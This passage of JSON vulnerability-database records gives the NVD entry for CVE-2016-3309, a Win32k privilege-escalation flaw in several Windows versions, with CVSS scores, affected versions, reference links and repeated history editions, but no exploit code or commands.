"cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*"], "cwe": ["CWE-269"], "scheme": null}, {"id": "CVE-2016-3309", "bulletinFamily": "NVD", "title": "CVE-2016-3309", "description": "The kernel-mode drivers in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607 allow local users to gain privileges via a crafted application, aka \"Win32k Elevation of Privilege Vulnerability,\" a different vulnerability than CVE-2016-3308, CVE-2016-3310, and CVE-2016-3311.", "published": "2016-08-09T21:59:00", "modified": "2018-10-12T22:12:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-3309", "reporter": "secure@microsoft.com", "references": ["https://www.exploit-db.com/exploits/42960/", "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-098", "http://www.securityfocus.com/bid/92297", "http://www.securitytracker.com/id/1036572"], "cvelist": ["CVE-2016-3309"], "type": "cve", "lastseen": "2021-04-22T23:58:44", "history": [{"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1607"}, {"cpeName": "microsoft:windows_server_2008", "name": "microsoft windows server 2008", "operator": "eq", "version": "r2"}, {"cpeName": "microsoft:windows_7", "name": "microsoft windows 7", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_8.1", "name": "microsoft windows 8.1", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_server_2012", "name": "microsoft windows server 2012", "operator": "eq", "version": "r2"}, {"cpeName": "microsoft:windows_vista", "name": "microsoft windows vista", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_server_2012", "name": "microsoft windows server 2012", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_rt_8.1", "name": "microsoft windows rt 8.1", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_server_2008", "name": "microsoft windows server 2008", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1511"}], "bulletinFamily": "NVD", "cpe": ["cpe:/o:microsoft:windows_rt_8.1:*", "cpe:/o:microsoft:windows_vista:*", "cpe:/o:microsoft:windows_server_2012:r2", "cpe:/o:microsoft:windows_10:-", "cpe:/o:microsoft:windows_server_2008:*", "cpe:/o:microsoft:windows_server_2012:-", "cpe:/o:microsoft:windows_10:1607", "cpe:/o:microsoft:windows_server_2008:r2", "cpe:/o:microsoft:windows_10:1511", "cpe:/o:microsoft:windows_8.1:*", "cpe:/o:microsoft:windows_7:*"], "cpe23": ["cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_vista:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_7:*:sp1:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1511:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_rt_8.1:*:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_8.1:*:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*"], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1511:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2008:*:sp2:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_8.1:*:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_vista:*:sp2:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_rt_8.1:*:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_7:*:sp1:*:*:*:*:*:*", "vulnerable": true}], "operator": "OR"}]}, "cvelist": ["CVE-2016-3309"], "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "cwe": ["CWE-264"], "description": "The kernel-mode drivers in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607 allow local users to gain privileges via a crafted application, aka \"Win32k Elevation of Privilege Vulnerability,\" a different vulnerability than CVE-2016-3308, CVE-2016-3310, and CVE-2016-3311.", "edition": 3, "enchantments": {"dependencies": {"modified": "2020-10-03T12:10:44", "references": [{"idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"], "type": "exploitpack"}, {"idList": ["KB3178466"], "type": "mskb"}, {"idList": ["OPENVAS:1361412562310808784"], "type": "openvas"}, {"idList": ["EDB-ID:42960"], "type": "exploitdb"}, {"idList": ["MS:CVE-2016-3309"], "type": "mscve"}, {"idList": ["KLA11908", "KLA10856"], "type": "kaspersky"}, {"idList": ["ZDI-16-449"], "type": "zdi"}, {"idList": ["SMNTC-92297"], "type": "symantec"}, {"idList": ["SMB_NT_MS16-098.NASL"], "type": "nessus"}, {"idList": ["1337DAY-ID-28749"], "type": "zdt"}], "rev": 2}, "score": {"modified": "2020-10-03T12:10:44", "rev": 2, "value": 7.0, "vector": "NONE"}}, "extraReferences": [], "hash": "49c475938cf0129adfa1c2119a0612bc34f4b811f8306605cb9724522a148a53", "hashmap": [{"hash": "a9764e988f6a64f08c4b11f35fbe2c65", "key": "affectedSoftware"}, {"hash": "332f7b3c8fc44e58e39e2770c91f210a", "key": "cpeConfiguration"}, {"hash": "95022cf8a844b4aa436449a712c24595", "key": "href"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "7161b41c99e6ecf244e11b7a0678e906", "key": "published"}, {"hash": "fa12e087f68642fcaefafba0d4583885", "key": "cwe"}, {"hash": "77a06168ea28e330fa0a440746d3f3b3", "key": "cvss3"}, {"hash": "d9a5c13a8c8ccc13815715d42707b609", "key": "references"}, {"hash": "5d2e22c9c0a3f8a46d6a78045b250aa2", "key": "title"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "2ad2fbe2ec5c54a5bf5ef5baaae7b562", "key": "cpe"}, {"hash": "fb817d1ffa2f41dcf36ff904b277e5a3", "key": "description"}, {"hash": "978aebce0b508b9ea2b78a9aa6960c71", "key": "cvss2"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "extraReferences"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "c1dd178f01805c02f1b5d1bda38a05d6", "key": "cvelist"}, {"hash": "09d047f3d2e722fc60dd24d2893e00f9", "key": "modified"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "9c196c25e761d16b9e776361fe633d21", "key": "cpe23"}, {"hash": "f74481c4d3fb2a622ac8c8a438ded811", "key": "cvss"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-3309", "id": "CVE-2016-3309", "lastseen": "2020-10-03T12:10:44", "modified": "2018-10-12T22:12:00", "objectVersion": "1.3", "published": "2016-08-09T21:59:00", "references": ["https://www.exploit-db.com/exploits/42960/", "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-098", "http://www.securityfocus.com/bid/92297", "http://www.securitytracker.com/id/1036572"], "reporter": "cve@mitre.org", "title": "CVE-2016-3309", "type": "cve", "viewCount": 5}, "differentElements": ["extraReferences"], "edition": 3, "lastseen": "2020-10-03T12:10:44"}, {"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1607"}, {"cpeName": "microsoft:windows_server_2008", "name": "microsoft windows server 2008", "operator": "eq", "version": "r2"}, {"cpeName": "microsoft:windows_7", "name": "microsoft windows 7", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_8.1", "name": "microsoft windows 8.1", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_server_2012", "name": "microsoft windows server 2012", "operator": "eq", "version": "r2"}, {"cpeName": "microsoft:windows_vista", "name": "microsoft windows vista", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_server_2012", "name": "microsoft windows server 2012", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_rt_8.1", "name": "microsoft windows rt 8.1", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_server_2008", "name": "microsoft windows server 2008", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1511"}], "bulletinFamily": "NVD", "cpe": ["cpe:/o:microsoft:windows_rt_8.1:*", "cpe:/o:microsoft:windows_vista:*", "cpe:/o:microsoft:windows_server_2012:r2", "cpe:/o:microsoft:windows_10:-", "cpe:/o:microsoft:windows_server_2008:*", "cpe:/o:microsoft:windows_server_2012:-", "cpe:/o:microsoft:windows_10:1607", "cpe:/o:microsoft:windows_server_2008:r2", "cpe:/o:microsoft:windows_10:1511", "cpe:/o:microsoft:windows_8.1:*", "cpe:/o:microsoft:windows_7:*"], "cpe23": ["cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_vista:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_7:*:sp1:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1511:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_rt_8.1:*:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_8.1:*:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*"], "cpeConfiguration": {}, "cvelist": ["CVE-2016-3309"], "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "cwe": ["CWE-264"], "description": "The kernel-mode drivers in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607 allow local users to gain privileges via a crafted application, aka \"Win32k Elevation of Privilege Vulnerability,\" a different vulnerability than CVE-2016-3308, CVE-2016-3310, and CVE-2016-3311.", "edition": 2, "enchantments": {"dependencies": {"modified": "2020-09-21T14:24:32", "references": [{"idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"], "type": "exploitpack"}, {"idList": ["KB3178466"], "type": "mskb"}, {"idList": ["OPENVAS:1361412562310808784"], "type": "openvas"}, {"idList": ["EDB-ID:42960"], "type": "exploitdb"}, {"idList": ["MS:CVE-2016-3309"], "type": "mscve"}, {"idList": ["KLA11908", "KLA10856"], "type": "kaspersky"}, {"idList": ["ZDI-16-449"], "type": "zdi"}, {"idList": ["SMNTC-92297"], "type": "symantec"}, {"idList": ["SMB_NT_MS16-098.NASL"], "type": "nessus"}, {"idList": ["1337DAY-ID-28749"], "type": "zdt"}], "rev": 2}, "score": {"modified": "2020-09-21T14:24:32", "rev": 2, "value": 7.0, "vector": "NONE"}}, "hash": "3195990047dba9d8479f2de3837b008740bf381a7bfec3ec71a5b258ba0167d6", "hashmap": [{"hash": "a9764e988f6a64f08c4b11f35fbe2c65", "key": "affectedSoftware"}, {"hash": "95022cf8a844b4aa436449a712c24595", "key": "href"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpeConfiguration"}, {"hash": "7161b41c99e6ecf244e11b7a0678e906", "key": "published"}, {"hash": "fa12e087f68642fcaefafba0d4583885", "key": "cwe"}, {"hash": "77a06168ea28e330fa0a440746d3f3b3", "key": "cvss3"}, {"hash": "d9a5c13a8c8ccc13815715d42707b609", "key": "references"}, {"hash": "5d2e22c9c0a3f8a46d6a78045b250aa2", "key": "title"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "2ad2fbe2ec5c54a5bf5ef5baaae7b562", "key": "cpe"}, {"hash": "fb817d1ffa2f41dcf36ff904b277e5a3", "key": "description"}, {"hash": "978aebce0b508b9ea2b78a9aa6960c71", "key": "cvss2"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "c1dd178f01805c02f1b5d1bda38a05d6", "key": "cvelist"}, {"hash": "09d047f3d2e722fc60dd24d2893e00f9", "key": "modified"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "9c196c25e761d16b9e776361fe633d21", "key": "cpe23"}, {"hash": "f74481c4d3fb2a622ac8c8a438ded811", "key": "cvss"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-3309", "id": "CVE-2016-3309", "lastseen": "2020-09-21T14:24:32", "modified": "2018-10-12T22:12:00", "objectVersion": "1.3", "published": "2016-08-09T21:59:00", "references": ["https://www.exploit-db.com/exploits/42960/", "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-098", "http://www.securityfocus.com/bid/92297", "http://www.securitytracker.com/id/1036572"], "reporter": "cve@mitre.org", "title": "CVE-2016-3309", "type": "cve", "viewCount": 4}, "differentElements": ["cpeConfiguration"], "edition": 2, "lastseen": "2020-09-21T14:24:32"}, {"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1607"}, {"cpeName": "microsoft:windows_server_2008", "name": "microsoft windows server 2008", "operator": "eq", "version": "r2"}, {"cpeName": "microsoft:windows_7", "name": "microsoft windows 7", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_8.1", "name": "microsoft windows 8.1", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_server_2012", "name": "microsoft windows server 2012", "operator": "eq", "version": "r2"}, {"cpeName": "microsoft:windows_vista", "name": "microsoft windows vista", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_server_2012", "name": "microsoft windows server 2012", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_rt_8.1", "name": "microsoft windows rt 8.1", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_server_2008", "name": "microsoft windows server 2008", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1511"}], "bulletinFamily": "NVD", "cpe": ["cpe:/o:microsoft:windows_rt_8.1:*", "cpe:/o:microsoft:windows_vista:*", "cpe:/o:microsoft:windows_server_2012:r2", "cpe:/o:microsoft:windows_10:-", "cpe:/o:microsoft:windows_server_2008:*", "cpe:/o:microsoft:windows_server_2012:-", "cpe:/o:microsoft:windows_10:1607", "cpe:/o:microsoft:windows_server_2008:r2", "cpe:/o:microsoft:windows_10:1511", "cpe:/o:microsoft:windows_8.1:*", "cpe:/o:microsoft:windows_7:*"], "cpe23": ["cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_vista:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_7:*:sp1:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1511:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_rt_8.1:*:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_8.1:*:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*"], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1511:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2008:*:sp2:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_8.1:*:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_vista:*:sp2:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_rt_8.1:*:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_7:*:sp1:*:*:*:*:*:*", "vulnerable": true}], "operator": "OR"}]}, "cvelist": ["CVE-2016-3309"], "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "cwe": ["CWE-264"], "description": "The kernel-mode drivers in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607 allow local users to gain privileges via a crafted application, aka \"Win32k Elevation of Privilege Vulnerability,\" a different vulnerability than CVE-2016-3308, CVE-2016-3310, and CVE-2016-3311.", "edition": 4, "enchantments": {"dependencies": {"modified": "2021-02-02T06:28:06", "references": [{"idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"], "type": "exploitpack"}, {"idList": ["KB3178466"], "type": "mskb"}, {"idList": ["OPENVAS:1361412562310808784"], "type": "openvas"}, {"idList": ["EDB-ID:42960"], "type": "exploitdb"}, {"idList": ["MS:CVE-2016-3309"], "type": "mscve"}, {"idList": ["KLA11908", "KLA10856"], "type": "kaspersky"}, {"idList": ["ZDI-16-449"], "type": "zdi"}, {"idList": ["SMNTC-92297"], "type": "symantec"}, {"idList": ["SMB_NT_MS16-098.NASL"], "type": "nessus"}, {"idList": ["1337DAY-ID-28749"], "type": "zdt"}], "rev": 2}, "score": {"modified": "2021-02-02T06:28:06", "rev": 2, "value": 7.0, "vector": "NONE"}}, "extraReferences": [{"name": "92297", "refsource": "BID", "tags": [], "url": "http://www.securityfocus.com/bid/92297"}, {"name": "42960", "refsource": "EXPLOIT-DB", "tags": [], "url": "https://www.exploit-db.com/exploits/42960/"}, {"name": "MS16-098", "refsource": "MS", "tags": [], "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-098"}, {"name": "1036572", "refsource": "SECTRACK", "tags": [], "url": "http://www.securitytracker.com/id/1036572"}], "hash": "d0ebada8b1b188400997b00fdc6a109076f21be21f6894e3cd24651e9223e968", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "immutableFields"}, {"hash": "a9764e988f6a64f08c4b11f35fbe2c65", "key": "affectedSoftware"}, {"hash": "332f7b3c8fc44e58e39e2770c91f210a", "key": "cpeConfiguration"}, {"hash": "95022cf8a844b4aa436449a712c24595", "key": "href"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "7161b41c99e6ecf244e11b7a0678e906", "key": "published"}, {"hash": "fa12e087f68642fcaefafba0d4583885", "key": "cwe"}, {"hash": "77a06168ea28e330fa0a440746d3f3b3", "key": "cvss3"}, {"hash": "d9a5c13a8c8ccc13815715d42707b609", "key": "references"}, {"hash": "5729346633c6b256c20746fd082a5b77", "key": "extraReferences"}, {"hash": "5d2e22c9c0a3f8a46d6a78045b250aa2", "key": "title"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "2ad2fbe2ec5c54a5bf5ef5baaae7b562", "key": "cpe"}, {"hash": "fb817d1ffa2f41dcf36ff904b277e5a3", "key": "description"}, {"hash": "978aebce0b508b9ea2b78a9aa6960c71", "key": "cvss2"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "c1dd178f01805c02f1b5d1bda38a05d6", "key": "cvelist"}, {"hash": "09d047f3d2e722fc60dd24d2893e00f9", "key": "modified"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "9c196c25e761d16b9e776361fe633d21", "key": "cpe23"}, {"hash": "f74481c4d3fb2a622ac8c8a438ded811", "key": "cvss"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-3309", "id": "CVE-2016-3309", "immutableFields": [], "lastseen": "2021-02-02T06:28:06", "modified": "2018-10-12T22:12:00", "objectVersion": "1.5", "published": "2016-08-09T21:59:00", "references": ["https://www.exploit-db.com/exploits/42960/", "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-098", "http://www.securityfocus.com/bid/92297", "http://www.securitytracker.com/id/1036572"], "reporter": "cve@mitre.org", "title": "CVE-2016-3309", "type": "cve", "viewCount": 6}, "different_elements": ["reporter", "cpeConfiguration"], "edition": 4, "lastseen": "2021-02-02T06:28:06"}, {"bulletin": {"affectedSoftware": [{"name": "microsoft windows_server_2008", "operator": "eq", "version": "*"}, {"name": "microsoft windows_10", "operator": "eq", "version": "1607"}, {"name": "microsoft windows_server_2012", "operator": "eq", "version": "r2"}, {"name": "microsoft windows_server_2012", "operator": "eq", "version": "-"}, {"name": "microsoft windows_10", "operator": "eq", "version": "1511"}, {"name": "microsoft windows_rt_8.1", "operator": "eq", "version": "*"}, {"name": "microsoft windows_8.1", "operator": "eq", "version": "*"}, {"name": "microsoft windows_vista", "operator": "eq", "version": "*"}, {"name": "microsoft windows_server_2008", "operator": "eq", "version": "r2"}, {"name": "microsoft windows_10", "operator": "eq", "version": "-"}, {"name": "microsoft windows_7", "operator": "eq", "version": "*"}], "bulletinFamily": "NVD", "cpe": ["cpe:/o:microsoft:windows_rt_8.1:*", "cpe:/a:microsoft:windows_server_2012:r2", "cpe:/a:microsoft:windows_10:1607", "cpe:/o:microsoft:windows_vista:*", "cpe:/a:microsoft:windows_server_2008:*", "cpe:/o:microsoft:windows_server_2012:r2", "cpe:/a:microsoft:windows_10:1511", "cpe:/a:microsoft:windows_10:-", "cpe:/o:microsoft:windows_10:-", "cpe:/a:microsoft:windows_7:*", "cpe:/a:microsoft:windows_rt_8.1:*", "cpe:/a:microsoft:windows_vista:*", "cpe:/o:microsoft:windows_server_2008:*", "cpe:/o:microsoft:windows_server_2012:-", "cpe:/o:microsoft:windows_10:1607", "cpe:/o:microsoft:windows_server_2008:r2", "cpe:/o:microsoft:windows_10:1511", "cpe:/a:microsoft:windows_server_2012:-", "cpe:/o:microsoft:windows_8.1:*", "cpe:/a:microsoft:windows_server_2008:r2", "cpe:/a:microsoft:windows_8.1:*", "cpe:/o:microsoft:windows_7:*"], "cpe23": ["cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_vista:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_7:*:sp1:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1511:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_rt_8.1:*:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_8.1:*:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*"], "cvelist": ["CVE-2016-3309"], "cvss": 